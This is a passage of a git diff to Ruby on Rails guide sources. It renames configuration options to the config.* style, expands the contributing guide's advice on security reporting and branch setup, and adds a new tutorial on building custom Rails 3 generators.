+* +config.action_controller.asset_host+ provides a string that is prepended to all of the URL-generating helpers in +AssetHelper+. This is designed to allow moving all javascript, CSS, and image files to a separate asset host.
-* +consider_all_requests_local+ is generally set to +true+ during development and +false+ during production; if it is set to +true+, then any error will cause detailed debugging information to be dumped in the HTTP response. For finer-grained control, set this to +false+ and implement +local_request?+ to specify which requests should provide debugging information on errors.
+* +config.action_controller.consider_all_requests_local+ is generally set to +true+ during development and +false+ during production; if it is set to +true+, then any error will cause detailed debugging information to be dumped in the HTTP response. For finer-grained control, set this to +false+ and implement +local_request?+ to specify which requests should provide debugging information on errors.
-* +allow_concurrency+ should be set to +true+ to allow concurrent (threadsafe) action processing. Set to +false+ by default. You probably don't want to call this one directly, though, because a series of other adjustments need to be made for threadsafe mode to work properly. Instead, you should simply call +config.threadsafe!+ inside your +production.rb+ file, which makes all the necessary adjustments.
+* +config.action_controller.allow_concurrency+ should be set to +true+ to allow concurrent (threadsafe) action processing. Set to +false+ by default. You probably don't want to call this one directly, though, because a series of other adjustments need to be made for threadsafe mode to work properly. Instead, you should simply call +config.threadsafe!+ inside your +production.rb+ file, which makes all the necessary adjustments.
WARNING: Threadsafe operation in incompatible with the normal workings of development mode Rails. In particular, automatic dependency loading and class reloading are automatically disabled when you call +config.threadsafe!+.
-* +param_parsers+ provides an array of handlers that can extract information from incoming HTTP requests and add it to the +params+ hash. By default, parsers for multipart forms, URL-encoded forms, XML, and JSON are active.
+* +config.action_controller.param_parsers+ provides an array of handlers that can extract information from incoming HTTP requests and add it to the +params+ hash. By default, parsers for multipart forms, URL-encoded forms, XML, and JSON are active.
+
+* +config.action_controller.default_charset+ specifies the default character set for all renders. The default is "utf-8".
-* +default_charset+ specifies the default character set for all renders. The default is "utf-8".
+* +config.action_controller.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Action Controller. Set to nil to disable logging.
-* +logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Action Controller. Set to nil to disable logging.
+* +config.action_controller.resource_action_separator+ gives the token to be used between resources and actions when building or interpreting RESTful URLs. By default, this is "/".
-* +resource_action_separator+ gives the token to be used between resources and actions when building or interpreting RESTful URLs. By default, this is "/".
+* +config.action_controller.resource_path_names+ is a hash of default names for several RESTful actions. By default, the new action is named +new+ and the edit action is named +edit+.
-* +resource_path_names+ is a hash of default names for several RESTful actions. By default, the new action is named +new+ and the edit action is named +edit+.
+* +config.action_controller.request_forgery_protection_token+ sets the token parameter name for RequestForgery. Calling +protect_from_forgery+ sets it to +:authenticity_token+ by default.
-* +request_forgery_protection_token+ sets the token parameter name for RequestForgery. Calling +protect_from_forgery+ sets it to +:authenticity_token+ by default.
+* +config.action_controller.optimise_named_routes+ turns on some optimizations in generating the routing table. It is set to +true+ by default.
-* +optimise_named_routes+ turns on some optimizations in generating the routing table. It is set to +true+ by default.
+* +config.action_controller.use_accept_header+ sets the rules for determining the response format. If this is set to +true+ (the default) then +respond_to+ and +Request#format+ will take the Accept header into account. If it is set to false then the request format will be determined solely by examining +params[:format]+. If there is no +format+ parameter, then the response format will be either HTML or Javascript depending on whether the request is an AJAX request.
-* +use_accept_header+ sets the rules for determining the response format. If this is set to +true+ (the default) then +respond_to+ and +Request#format+ will take the Accept header into account. If it is set to false then the request format will be determined solely by examining +params[:format]+. If there is no +format+ parameter, then the response format will be either HTML or Javascript depending on whether the request is an AJAX request.
+* +config.action_controller.allow_forgery_protection+ enables or disables CSRF protection. By default this is +false+ in test mode and +true+ in all other modes.
-* +allow_forgery_protection+ enables or disables CSRF protection. By default this is +false+ in test mode and +true+ in all other modes.
+* +config.action_controller.relative_url_root+ can be used to tell Rails that you are deploying to a subdirectory. The default is +ENV['RAILS_RELATIVE_URL_ROOT']+.
-* +relative_url_root+ can be used to tell Rails that you are deploying to a subdirectory. The default is +ENV['RAILS_RELATIVE_URL_ROOT']+.
+* +config.action_controller.session_store+ sets the name of the store for session data. The default is +:cookie_store+; other valid options include +:active_record_store+, +:mem_cache_store+ or the name of your own custom class.
The caching code adds two additional settings:
-* +ActionController::Caching::Pages.page_cache_directory+ sets the directory where Rails will create cached pages for your web server. The default is +Rails.public_path+ (which is usually set to +RAILS_ROOT + "/public"+).
+* +ActionController::Base.page_cache_directory+ sets the directory where Rails will create cached pages for your web server. The default is +Rails.public_path+ (which is usually set to +RAILS_ROOT + "/public"+).
-* +ActionController::Caching::Pages.page_cache_extension+ sets the extension to be used when generating pages for the cache (this is ignored if the incoming request already has an extension). The default is +.html+.
+* +ActionController::Base.page_cache_extension+ sets the extension to be used when generating pages for the cache (this is ignored if the incoming request already has an extension). The default is +.html+.
-The dispatcher includes one setting:
+The Active Record session store can also be configured:
-* +ActionController::Dispatcher.error_file_path+ gives the path where Rails will look for error files such as +404.html+. The default is +Rails.public_path+.
+* +ActiveRecord::SessionStore::Session.table_name+ sets the name of the table uses to store sessions. Defaults to +sessions+.
-The Active Record session store can also be configured:
+* +ActiveRecord::SessionStore::Session.primary_key+ sets the name of the ID column uses in the sessions table. Defaults to +session_id+.
-* +CGI::Session::ActiveRecordStore::Session.data_column_name+ sets the name of the column to use to store session data. By default it is 'data'
+* +ActiveRecord::SessionStore::Session.data_column_name+ sets the name of the column which stores marshaled session data. Defaults to +data+.
h4. Configuring Action View
There are only a few configuration options for Action View, starting with four on +ActionView::Base+:
-* +debug_rjs+ specifies whether RJS responses should be wrapped in a try/catch block that alert()s the caught exception (and then re-raises it). The default is +false+.
+* +config.action_view.debug_rjs+ specifies whether RJS responses should be wrapped in a try/catch block that alert()s the caught exception (and then re-raises it). The default is +false+.
-* +warn_cache_misses+ tells Rails to display a warning whenever an action results in a cache miss on your view paths. The default is +false+.
+* +config.action_view.warn_cache_misses+ tells Rails to display a warning whenever an action results in a cache miss on your view paths. The default is +false+.
-* +field_error_proc+ provides an HTML generator for displaying errors that come from Active Record. The default is <tt>Proc.new{ |html_tag, instance| "<div class=\"fieldWithErrors\">#{html_tag}</div>" }</tt>
+* +config.action_view.field_error_proc+ provides an HTML generator for displaying errors that come from Active Record. The default is <tt>Proc.new{ |html_tag, instance| "<div class=\"fieldWithErrors\">#{html_tag}</div>" }</tt>
-* +default_form_builder+ tells Rails which form builder to use by default. The default is +ActionView::Helpers::FormBuilder+.
+* +config.action_view.default_form_builder+ tells Rails which form builder to use by default. The default is +ActionView::Helpers::FormBuilder+.
-The ERB template handler supplies one additional option:
+* +config.action_view.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Action Mailer. Set to nil to disable logging.
-* +ActionView::TemplateHandlers::ERB.erb_trim_mode+ gives the trim mode to be used by ERB. It defaults to +'-'+. See the "ERB documentation":http://www.ruby-doc.org/stdlib/libdoc/erb/rdoc/ for more information.
+* +config.action_view.erb_trim_mode+ gives the trim mode to be used by ERB. It defaults to +'-'+. See the "ERB documentation":http://www.ruby-doc.org/stdlib/libdoc/erb/rdoc/ for more information.
h4. Configuring Action Mailer
-There are a number of settings available on +ActionMailer::Base+:
+There are a number of settings available on +config.action_mailer+:
-* +template_root+ gives the root folder for Action Mailer templates.
+* +config.action_mailer.template_root+ gives the root folder for Action Mailer templates.
-* +logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Action Mailer. Set to nil to disable logging.
+* +config.action_mailer.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Action Mailer. Set to nil to disable logging.
-* +smtp_settings+ allows detailed configuration for the +:smtp+ delivery method. It accepts a hash of options, which can include any of these options:
+* +config.action_mailer.smtp_settings+ allows detailed configuration for the +:smtp+ delivery method. It accepts a hash of options, which can include any of these options:
** +:address+ - Allows you to use a remote mail server. Just change it from its default "localhost" setting.
** +:port+ - On the off chance that your mail server doesn't run on port 25, you can change it.
** +:domain+ - If you need to specify a HELO domain, you can do it here.
@@ -150,48 +207,46 @@ There are a number of settings available on +ActionMailer::Base+:
** +:password+ - If your mail server requires authentication, set the password in this setting.
** +:authentication+ - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of +:plain+, +:login+, +:cram_md5+.
-* +sendmail_settings+ allows detailed configuration for the +sendmail+ delivery method. It accepts a hash of options, which can include any of these options:
+* +config.action_mailer.sendmail_settings+ allows detailed configuration for the +sendmail+ delivery method. It accepts a hash of options, which can include any of these options:
** +:location+ - The location of the sendmail executable. Defaults to +/usr/sbin/sendmail+.
** +:arguments+ - The command line arguments. Defaults to +-i -t+.
-* +raise_delivery_errors+ specifies whether to raise an error if email delivery cannot be completed. It defaults to +true+.
+* +config.action_mailer.raise_delivery_errors+ specifies whether to raise an error if email delivery cannot be completed. It defaults to +true+.
-* +delivery_method+ defines the delivery method. The allowed values are +:smtp+ (default), +:sendmail+, and +:test+.
+* +config.action_mailer.delivery_method+ defines the delivery method. The allowed values are +:smtp+ (default), +:sendmail+, and +:test+.
-* +perform_deliveries+ specifies whether mail will actually be delivered. By default this is +true+; it can be convenient to set it to +false+ for testing.
+* +config.action_mailer.perform_deliveries+ specifies whether mail will actually be delivered. By default this is +true+; it can be convenient to set it to +false+ for testing.
-* +default_charset+ tells Action Mailer which character set to use for the body and for encoding the subject. It defaults to +utf-8+.
+* +config.action_mailer.default_charset+ tells Action Mailer which character set to use for the body and for encoding the subject. It defaults to +utf-8+.
-* +default_content_type+ specifies the default content type used for the main part of the message. It defaults to "text/plain"
+* +config.action_mailer.default_content_type+ specifies the default content type used for the main part of the message. It defaults to "text/plain"
-* +default_mime_version+ is the default MIME version for the message. It defaults to +1.0+.
+* +config.action_mailer.default_mime_version+ is the default MIME version for the message. It defaults to +1.0+.
-* +default_implicit_parts_order+ - When a message is built implicitly (i.e. multiple parts are assembled from templates
+* +config.action_mailer.default_implicit_parts_order+ - When a message is built implicitly (i.e. multiple parts are assembled from templates
which specify the content type in their filenames) this variable controls how the parts are ordered. Defaults to +["text/html", "text/enriched", "text/plain"]+. Items that appear first in the array have higher priority in the mail client
and appear last in the mime encoded message.
h4. Configuring Active Resource
-There is a single configuration setting available on +ActiveResource::Base+:
+There is a single configuration setting available on +config.active_resource+:
-<tt>logger</tt> accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Active Resource. Set to nil to disable logging.
+* +config.active_resource.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Active Resource. Set to nil to disable logging.
h4. Configuring Active Support
There are a few configuration options available in Active Support:
+* +config.active_support.escape_html_entities_in_json+ enables or disables the escaping of HTML entities in JSON serialization. Defaults to _true_.
+
+* +config.active_support.use_standard_json_time_format+ enables or disables serializing dates to ISO 8601 format. Defaults to _false_.
+
* +ActiveSupport::BufferedLogger.silencer+ is set to +false+ to disable the ability to silence logging in a block. The default is +true+.
* +ActiveSupport::Cache::Store.logger+ specifies the logger to use within cache store operations.
* +ActiveSupport::Logger.silencer+ is set to +false+ to disable the ability to silence logging in a block. The default is +true+.
-h4. Configuring Active Model
-
-Active Model currently has a single configuration setting:
-
-* +ActiveModel::Errors.default_error_messages+ is an array containing all of the validation error messages.
-
h3. Using Initializers
After it loads the framework plus any gems and plugins in your application, Rails turns to loading initializers. An initializer is any file of ruby code stored under +config/initializers+ in your application. You can use initializers to hold configuration settings that should be made after all of the frameworks and plugins are loaded.
@@ -230,5 +285,6 @@ h3. Changelog
"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/28
+* August 13, 2009: Updated with config syntax and added general configuration options by "John Pignata"
* January 3, 2009: First reasonably complete draft by "Mike Gunderloy":credits.html#mgunderloy
* November 5, 2008: Rough outline by "Mike Gunderloy":credits.html#mgunderloy
diff --git a/railties/guides/source/contributing_to_rails.textile b/railties/guides/source/contributing_to_rails.textile
index a5912643c0..805fcf1a32 100644
--- a/railties/guides/source/contributing_to_rails.textile
+++ b/railties/guides/source/contributing_to_rails.textile
@@ -14,7 +14,7 @@ endprologue.
h3. Reporting a Rails Issue
-Rails uses a "Lighthouse project":http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/ to track issues (primarily bugs and contributions of new code). If you've found a bug in Rails, this is the place to start.
+Rails uses a "Lighthouse project":http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/ to track issues (primarily bugs and contributions of new code). If you've found a bug in Rails, this is the place to start. You'll need to create a (free) Lighthouse account in order to comment on issues or to upload tests or patches.
NOTE: Bugs in the most recent released version of Rails are likely to get the most attention. Also, the Rails core team is always interested in feedback from those who can take the time to test _edge Rails_ (the code for the version of Rails that is currently under development). Later in this Guide you'll find out how to get edge Rails for testing.
@@ -32,6 +32,10 @@ h4. Special Treatment for Security Issues
If you've found a security vulnerability in Rails, please do *not* report it via a Lighthouse ticket. Lighthouse tickets are public as soon as they are entered. Instead, you should use the dedicated email address "security@rubyonrails.org":mailto:security@rubyonrails.org to report any vulnerabilities. This alias is monitored and the core team will work with you to quickly and completely address any such vulnerabilities.
+WARNING: Just to emphasize the point, _please do not report security vulnerabilities on public Lighthouse tickets_. This will only expose your fellow Rails developers to needless risks.
+
+You should receive an acknowledgement and detailed response to any reported security issue within 48 hours. If you don't think you're getting adequate response from the security alias, refer to the "Rails security policy page":http://rubyonrails.org/security for direct emails for the current Rails security coordinators.
+
h4. What About Feature Requests?
Please don't put "feature request" tickets into Lighthouse. If there's a new feature that you want to see added to Rails, you'll need to write the code yourself - or convince someone else to partner with you to write the code. Later in this guide you'll find detailed instructions for proposing a patch to Rails. If you enter a wishlist item in Lighthouse with no code, you can expect it to be marked "invalid" as soon as it's reviewed.
@@ -47,6 +51,7 @@ Rails uses git for source code control. You won’t be able to do anything witho
* "Everyday Git":http://www.kernel.org/pub/software/scm/git/docs/everyday.html will teach you just enough about git to get by.
* The "PeepCode screencast":https://peepcode.com/products/git on git ($9) is easier to follow.
* "GitHub":http://github.com/guides/home offers links to a variety of git resources.
+* "Pro Git":http://progit.org/book/ is an entire book about git with a Creative Commons license.
h4. Get the Rails Source Code
@@ -57,9 +62,25 @@ git clone git://github.com/rails/rails.git
cd rails
</shell>
+h4. Pick a Branch
+
+Currently, there is active work being done on both the 2-3-stable branch of Rails and on the master branch (which will become Rails 3.0). If you want to work with the master branch, you're all set. To work with 2.3, you'll need to set up and switch to your own local tracking branch:
+
+<shell>
+git branch --track 2-3-stable origin/2-3-stable
+git checkout 2-3-stable
+</shell>
+
+TIP: You may want to "put your git branch name in your shell prompt":http://github.com/guides/put-your-git-branch-name-in-your-shell-prompt to make it easier to remember which version of the code you're working with.
+
h4. Set up and Run the Tests
-All of the Rails tests must pass with any code you submit, otherwise you have no chance of getting code accepted. This means you need to be able to run the tests. For the tests that touch the database, this means creating the databases. If you're using MySQL:
+All of the Rails tests must pass with any code you submit, otherwise you have no chance of getting code accepted. This means you need to be able to run the tests. Rails needs the +mocha+ gem for running some tests, so install it with:
+<shell>
+gem install mocha
+</shell>
+
+For the tests that touch the database, this means creating the databases. If you're using MySQL:
<shell>
mysql> create database activerecord_unittest;
@@ -79,15 +100,15 @@ rake test_sqlite3
rake test_sqlite3 TEST=test/cases/validations_test.rb
</shell>
-You can change +sqlite3+ with +jdbcmysql+, +jdbcsqlite3+, +jdbcpostgresql+, +mysql+ or +postgresql+. Check out the file +activerecord/RUNNING_UNIT_TESTS+ for information on running more targeted database tests, or the file +ci/ci_build.rb+ to see the test suite that the Rails continuous integration server runs.
+You can replace +sqlite3+ with +jdbcmysql+, +jdbcsqlite3+, +jdbcpostgresql+, +mysql+ or +postgresql+. Check out the file +activerecord/RUNNING_UNIT_TESTS+ for information on running more targeted database tests, or the file +ci/ci_build.rb+ to see the test suite that the Rails continuous integration server runs.
-NOTE: If you're working with Active Record code, you _must_ ensure that the tests pass for at least MySQL, PostgreSQL, SQLite 2, and SQLite 3. Subtle differences between the various Active Record database adapters have been behind the rejection of many patches that looked OK when tested only against MySQL.
+NOTE: If you're working with Active Record code, you _must_ ensure that the tests pass for at least MySQL, PostgreSQL, and SQLite 3. Subtle differences between the various Active Record database adapters have been behind the rejection of many patches that looked OK when tested only against MySQL.
h3. Helping to Resolve Existing Issues
-As a next step beyond reporting issues, you can help the core team resolve existing issues. If you check the "open tickets":http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/tickets?q=state%3Aopen list in Lighthouse, you'll find hundreds of issues already requiring attention. What can you do for these? Quite a bit, actually:
+As a next step beyond reporting issues, you can help the core team resolve existing issues. If you check the "open tickets":https://rails.lighthouseapp.com/projects/8994-ruby-on-rails/tickets?q=state%3Aopen list in Lighthouse, you'll find hundreds of issues already requiring attention. What can you do for these? Quite a bit, actually:
h4. Verifying Bug Reports
@@ -110,7 +131,7 @@ git checkout -b testing_branch
Then you can apply their patch:
<shell>
-git am < their-patch-file.diff
+git apply their-patch-file.diff
</shell>
After applying a patch, test it out! Here are some things to think about:
@@ -132,7 +153,7 @@ h3. Contributing to the Rails Documentation
Another area where you can help out if you're not yet ready to take the plunge to writing Rails core code is with Rails documentation. You can help with the Rails Guides or the Rails API documentation.
-TIP: "docrails":http://github.com/lifo/docrails/tree/master is the documentation branch for Rails with an *open commit policy*. You can simply PM "lifo":http://github.com/lifo on Github and ask for the commit rights. Documentation changes made as part of the "docrails":http://github.com/lifo/docrails/tree/master project, are merged back to the Rails master code from time to time. Check out the "original announcement":http://weblog.rubyonrails.org/2008/5/2/help-improve-rails-documentation-on-git-branch for more details.
+TIP: "docrails":http://github.com/lifo/docrails/tree/master is the documentation branch for Rails with an *open commit policy*. You can simply PM "lifo":http://github.com/lifo on Github and ask for the commit rights. Documentation changes made as part of the "docrails":http://github.com/lifo/docrails/tree/master project are merged back to the Rails master code from time to time. Check out the "original announcement":http://weblog.rubyonrails.org/2008/5/2/help-improve-rails-documentation-on-git-branch for more details.
h4. The Rails Guides
@@ -188,6 +209,8 @@ h4. Sanity Check
You should not be the only person who looks at the code before you submit it. You know at least one other Rails developer, right? Show them what you’re doing and ask for feedback. Doing this in private before you push a patch out publicly is the “smoke test” for a patch: if you can’t convince one other developer of the beauty of your code, you’re unlikely to convince the core team either.
+You might also want to check out the "RailsBridge BugMash":http://wiki.railsbridge.org/projects/railsbridge/wiki/BugMash as a way to get involved in a group effort to improve Rails. This can help you get started and help check your code when you're writing your first patches.
+
h4. Commit Your Changes
When you're happy with the code on your computer, you need to commit the changes to git:
@@ -243,6 +266,7 @@ h3. Changelog
"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/64
+* August 1, 2009: Updates/amplifications by "Mike Gunderloy":credits.html#mgunderloy
* March 2, 2009: Initial draft by "Mike Gunderloy":credits.html#mgunderloy
diff --git a/railties/guides/source/credits.erb.textile b/railties/guides/source/credits.textile.erb
index 49e390908f..49e390908f 100644
--- a/railties/guides/source/credits.erb.textile
+++ b/railties/guides/source/credits.textile.erb
diff --git a/railties/guides/source/debugging_rails_applications.textile b/railties/guides/source/debugging_rails_applications.textile
index 9c0f22724e..94411a560e 100644
--- a/railties/guides/source/debugging_rails_applications.textile
+++ b/railties/guides/source/debugging_rails_applications.textile
@@ -330,7 +330,7 @@ h4. The Context
When you start debugging your application, you will be placed in different contexts as you go through the different parts of the stack.
-ruby-debug creates a content when a stopping point or an event is reached. The context has information about the suspended program which enables a debugger to inspect the frame stack, evaluate variables from the perspective of the debugged program, and contains information about the place where the debugged program is stopped.
+ruby-debug creates a context when a stopping point or an event is reached. The context has information about the suspended program which enables a debugger to inspect the frame stack, evaluate variables from the perspective of the debugged program, and contains information about the place where the debugged program is stopped.
At any time you can call the +backtrace+ command (or its alias +where+) to print the backtrace of the application. This can be very helpful to know how you got where you are. If you ever wondered about how you got somewhere in your code, then +backtrace+ will supply the answer.
diff --git a/railties/guides/source/form_helpers.textile b/railties/guides/source/form_helpers.textile
index ac0769e219..0a76a0f06f 100644
--- a/railties/guides/source/form_helpers.textile
+++ b/railties/guides/source/form_helpers.textile
@@ -754,9 +754,9 @@ Many apps grow beyond simple forms editing a single object. For example when cre
* Ryan Bates' series of Railscasts on "complex forms":http://railscasts.com/episodes/75
* Handle Multiple Models in One Form from "Advanced Rails Recipes":http://media.pragprog.com/titles/fr_arr/multiple_models_one_form.pdf
-* Eloy Duran's "nested_params":http://github.com/alloy/complex-form-examples/tree/alloy-nested_params plugin
+* Eloy Duran's "complex-forms-examples":http://github.com/alloy/complex-form-examples/ application
* Lance Ivy's "nested_assignment":http://github.com/cainlevy/nested_assignment/tree/master plugin and "sample application":http://github.com/cainlevy/complex-form-examples/tree/cainlevy
-* James Golick's "attribute_fu":http://github.com/giraffesoft/attribute_fu/tree plugin
+* James Golick's "attribute_fu":http://github.com/jamesgolick/attribute_fu plugin
h3. Changelog
diff --git a/railties/guides/source/generators.textile b/railties/guides/source/generators.textile
new file mode 100644
index 0000000000..fcd91f8956
--- /dev/null
+++ b/railties/guides/source/generators.textile
@@ -0,0 +1,378 @@
+h2. Creating and customizing Rails Generators
+
+Rails generators are an essential tool if you plan to improve your workflow and in this guide you will learn how to create and customize already existing generators.
+
+In this guide you will:
+
+* Learn how to see which generators are available in your application;
+* Create a generator using templates;
+* Learn how Rails searches for generators before invoking them;
+* Customize your scaffold by creating new generators;
+* Customize your scaffold by changing generators templates;
+* Learn how to use fallbacks to avoid overwriting a huge set of generators;
+
+endprologue.
+
+NOTE: This guide is about Rails generators for versions >= 3.0. Rails generators from previous versions are not supported.
+
+h3. First contact
+
+When you create an application using the +rails+ command, you are in fact using a Rails generator. After that, you can get a list of all available generators by just invoking +script/generate+:
+
+<shell>
+$ rails myapp
+$ cd myapp
+$ ruby script/generate
+</shell>
+
+You will get a list of all generators that comes with Rails. If you need a detailed description, for instance about the helper generator, you can simply do:
+
+<shell>
+$ ruby script/generate helper --help
+</shell>
+
+h3. Creating your first generator
+
+Since Rails 3.0, generators are built on top of "Thor":http://github.com/wycats/thor. Thor has a powerful options parsing and a great API for manipulating files. For instance, let's build a generator that creates an initializer file named +initializer.rb+ inside +config/initializers+.
+
+The first step is to create a file at +RAILS_APP/lib/generators/initializer_generator.rb+ with the following content:
+
+<ruby>
+class InitializerGenerator < Rails::Generators::Base
+ def create_initializer_file
+ create_file "config/initializers/initializer.rb", "# Add initialization content here"
+ end
+end
+</ruby>
+
+Our new generator is quite simple: it inherits from +Rails::Generators::Base+ and have one method definition. Each public method in the generator is executed when a generator is invoked. Finally, we invoke the +create_file+ method that will create a file at the given destination with the given content. If you are familiar with Rails Application Templates API, you are at home with new generators API.
+
+To invoke our new generator, we just need to do:
+
+<shell>
+$ ruby script/generate initializer
+</shell>
+
+Before we go on, let's see our brand new generator description:
+
+<shell>
+$ ruby script/generate initializer --help
+</shell>
+
+Rails usually is able to generate good descriptions if a generator is namespaced, as +ActiveRecord::Generators::ModelGenerator+, but not in this particular case. We can solve this problem in two ways. The first one is calling +desc+ inside our generator:
+
+<ruby>
+class InitializerGenerator < Rails::Generators::Base
+ desc "This generator creates an initializer file at config/initializers"
+ def create_initializer_file
+ create_file "config/initializers/initializer.rb", "# Add initialization content here"
+ end
+end
+</ruby>
+
+Now we can see the new description by invoking +--help+ in the new generator. The second way to add a description is by creating a file named +USAGE+ in the same directory as our generator. We are going to do that in the next step.
+
+h3. Creating generators with generators
+
+A faster way to create a generator is using the generator's generator:
+
+<shell>
+$ ruby script/generate generator initializer
+ create lib/generators/initializer
+ create lib/generators/initializer/initializer_generator.rb
+ create lib/generators/initializer/USAGE
+ create lib/generators/initializer/templates
+</shell>
+
+And it will create a new generator as follow:
+
+<ruby>
+class InitializerGenerator < Rails::Generators::NamedBase
+ def self.source_root
+ @source_root ||= File.expand_path(File.join(File.dirname(__FILE__), 'templates'))
+ end
+end
+</ruby>
+
+At first, we can notice that we are inheriting from +Rails::Generators::NamedBase+ instead of +Rails::Generators::Base+. This means that our generator expects as least one argument, which will be the name of the initializer.
+
+We can see that by invoking the description of this new generator (don't forget to delete the old generator file):
+
+<shell>
+$ ruby script/generate initializer --help
+Usage:
+ script/generate initializer NAME [options]
+</shell>
+
+We can also see in our new generator that it has a class method called +source_root+. This method points to where our generator templates will be placed and by default it points to the created directory under +RAILS_APP/lib/generators/initializer/templates+. In order to understand what a generator template means, let's create a file at +RAILS_APP/lib/generators/initializer/templates/initializer.rb+ with the following content:
+
+<ruby>
+# Add initialization content here
+
+</ruby>
+
+And now let's change the generator to copy this template when invoked:
+
+<ruby>
+class InitializerGenerator < Rails::Generators::NamedBase
+ def self.source_root
+ @source_root ||= File.expand_path(File.join(File.dirname(__FILE__), 'templates'))
+ end
+
+ def copy_initializer_file
+ copy_file "initializer.rb", "config/initializers/#{file_name}.rb"
+ end
+end
+</ruby>
+
+And let's execute our generator:
+
+<shell>
+$ ruby script/generate initializer foo
+</shell>
+
+We can see that now a initializer named foo was created at +config/initializers/foo.rb+ with the contents of our template. That means that copy_file copied a file in our source root to the destination path we gave. The method +file_name+ is automatically created when we inherit from +Rails::Generators::NamedBase+.
+
+h3. Generators lookup
+
+Now that we know how to create generators, we must know where Rails looks for generators before invoking them. When we invoke the initializer generator, Rails looks at the following paths in the given order:
+
+<shell>
+RAILS_APP/lib/generators
+RAILS_APP/lib/rails_generators
+RAILS_APP/vendor/plugins/*/lib/generators
+RAILS_APP/vendor/plugins/*/lib/rails_generators
+GEMS_PATH/*/lib/generators
+GEMS_PATH/*/lib/rails_generators
+~/rails/generators
+~/rails/rails_generators
+RAILS_GEM/lib/rails/generators
+</shell>
+
+First Rails looks for generators in your application, then in plugins and/or gems, then in your home and finally the builtin generators. One very important thing to keep in mind is that in Rails 3.0 and after it only looks for generators in gems being used in your application. So if you have rspec installed as a gem, but it's not declared in your application, Rails won't be able to invoke it.
+
+h3. Customizing your workflow
+
+Rails generators are flexible enough to let you customize your scaffold the way you want. In your +config/application.rb+ there is a section just for generators:
+
+<ruby>
+config.generators do |g|
+ g.orm :active_record
+ g.template_engine :erb
+ g.test_framework :test_unit, :fixture => true
+end
+</ruby>
+
+Before we customize our workflow, let's first see how our scaffold looks like:
+
+<shell>
+$ ruby script/generate scaffold User name:string
+ invoke active_record
+ create db/migrate/20091120125558_create_users.rb
+ create app/models/user.rb
+ invoke test_unit
+ create test/unit/user_test.rb
+ create test/fixtures/users.yml
+ route map.resources :users
+ invoke scaffold_controller
+ create app/controllers/users_controller.rb
+ invoke erb
+ create app/views/users
+ create app/views/users/index.html.erb
+ create app/views/users/edit.html.erb
+ create app/views/users/show.html.erb
+ create app/views/users/new.html.erb
+ create app/views/users/_form.html.erb
+ create app/views/layouts/users.html.erb
+ invoke test_unit
+ create test/functional/users_controller_test.rb
+ invoke helper
+ create app/helpers/users_helper.rb
+ invoke test_unit
+ create test/unit/helpers/users_helper_test.rb
+ invoke stylesheets
+ create public/stylesheets/scaffold.css
+</shell>
+
+Looking at this output, is easy to understand how generators work on Rails 3.0 and above. The scaffold generator actually doesn't generate anything, it just invokes others to do the work. This allows us to add/replace/remove any of those invocations. For instance, the scaffold generator invokes the scaffold_controller generator, which invokes erb, test_unit and helper generators. Since each generator has a single responsibility, they are easy to reuse, avoiding code duplication.
+
+Our first customization on the workflow will be to stop generating stylesheets and test fixtures on scaffold. We can achieve that by changing our application to the following:
+
+<ruby>
+config.generators do |g|
+ g.orm :active_record
+ g.template_engine :erb
+ g.test_framework :test_unit, :fixture => false
+ g.stylesheets false
+end
+</ruby>
+
+If we generate another resource on scaffold, we can notice that neither stylesheets nor fixtures are created anymore. If you want to customize it further, for example to use +Datamapper+ and +Rspec+ instead of +ActiveRecord+ and +TestUnit+, is just a matter of adding their gems to your application and configuring your generators.
+
+To show that, we are going to create a new helper generator that simply adds some instance variable readers. First, we create a generator:
+
+<shell>
+$ ruby script/generate generator my_helper
+</shell>
+
+After that, we can delete both templates directory and the +source_root+ class method from our new generators, because we are not going to need them. So our new generator looks like the following:
+
+<ruby>
+class MyHelperGenerator < Rails::Generators::NamedBase
+ def create_helper_file
+ create_file "app/helpers/#{file_name}_helper.rb", <<-FILE
+module #{class_name}Helper
+ attr_reader :#{plural_name}, :#{plural_name.singularize}
+end
+ FILE
+ end
+end
+</ruby>
+
+We can try out our new generator by creating a helper for users:
+
+<shell>
+$ ruby script/generate my_helper users
+</shell>
+
+And it will generate the following helper file in app/helpers:
+
+<ruby>
+module UsersHelper
+ attr_reader :users, :user
+end
+</ruby>
+
+Which is what we expected. We can now tell scaffold to use our new helper generator by configuring +config/application.rb+ once again:
+
+<ruby>
+config.generators do |g|
+ g.orm :active_record
+ g.template_engine :erb
+ g.test_framework :test_unit, :fixture => false
+ g.stylesheets false
+ g.helper :my_helper
+end
+</ruby>
+
+And see it in action when invoking generator once again:
+
+<shell>
+$ ruby script/generate scaffold Post body:text
+ [...]
+ invoke my_helper
+ create app/helpers/posts_helper.rb
+</shell>
+
+We can notice on the output that our new helper was invoked instead of the Rails default. However one thing is missing, which is tests for our new generator and to do that, we are going to reuse old helpers test generators.
+
+Since Rails 3.0, this is easy to do due to the hooks concept. Our new helper does not need to be focused in one specific test framework, it can simply provide a hook and a test framework just need to implement this hook in order to be compatible.
+
+To do that, we can change your generator to the following:
+
+<ruby>
+class MyHelperGenerator < Rails::Generators::NamedBase
+ def create_helper_file
+ create_file "app/helpers/#{file_name}_helper.rb", <<-FILE
+module #{class_name}Helper
+ attr_reader :#{plural_name}, :#{plural_name.singularize}
+end
+ FILE
+ end
+
+ hook_for :test_framework
+end
+</ruby>
+
